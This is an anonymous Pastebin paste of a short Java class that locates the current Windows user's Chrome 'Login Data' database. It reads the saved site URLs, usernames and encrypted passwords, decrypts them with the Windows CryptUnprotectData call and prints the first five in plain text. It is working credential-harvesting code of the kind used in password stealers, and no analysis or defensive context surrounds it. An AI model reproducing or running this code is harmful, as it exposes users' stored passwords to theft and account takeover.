Advertisement
Guest User

Untitled

a guest
Sep 21st, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 5 1.67 KB | None | 0 0
  1.  
  2. import java.io.File;
  3. import java.util.logging.Logger;
  4. import java.util.logging.Level;
  5.  
  6. import com.almworks.sqlite4java.SQLiteConnection;
  7. import com.almworks.sqlite4java.SQLiteStatement;
  8.  
  9. import com.sun.jna.platform.win32.Crypt32Util;
  10.  
  11. public class Chrome{
  12.    
  13.     public static String DATA_FILE_PATH;
  14.    
  15.     public static void check(){
  16.         try{
  17.             Logger.getLogger("com.almworks.sqlite4java").setLevel(Level.OFF);
  18.             File file = new File(DATA_FILE_PATH+"\\Login Data");
  19.             if(!file.exists())
  20.                 return;
  21.             SQLiteConnection db = new SQLiteConnection(file);
  22.             db.open(true);
  23.             SQLiteStatement st = db.prepare("SELECT origin_url,username_value,password_value FROM logins");
  24.             for (int i = 0; i < 5 && st.step(); i++) {
  25.                 String s = "url:"+st.columnString(0)+", user:"+st.columnString(1)+", pass:";
  26.                 byte[] encryptedPass = st.columnBlob(2);
  27.                 byte[] decryptedPass = Crypt32Util.cryptUnprotectData(encryptedPass);
  28.                 String decrypted = new String(decryptedPass);
  29.                 System.out.println(s+decrypted);
  30.             }
  31.             st.dispose();
  32.             db.dispose();
  33.         } catch(Exception e){
  34.             e.printStackTrace();
  35.         }
  36.     }
  37.    
  38.     static {
  39.         String os = System.getProperty("os.name");
  40.         if (os.contains("Windows")) {
  41.             String user = System.getProperty("user.name");
  42.             if (os.contains("XP")){
  43.                 DATA_FILE_PATH = "C:\\Documents and Settings\\"+user+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default";
  44.                 if(!new File(DATA_FILE_PATH+"\\Login Data").exists())//PT(language)
  45.                     DATA_FILE_PATH = "C:\\Documents and Settings\\"+user+"\\Definições Locais\\Application Data\\Google\\Chrome\\User Data\\Default";
  46.             } else
  47.                 DATA_FILE_PATH = "C:\\Users\\"+user+"\\Appdata\\Local\\Google\\Chrome\\User Data\\Default";
  48.         }
  49.     }
  50.    
  51. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement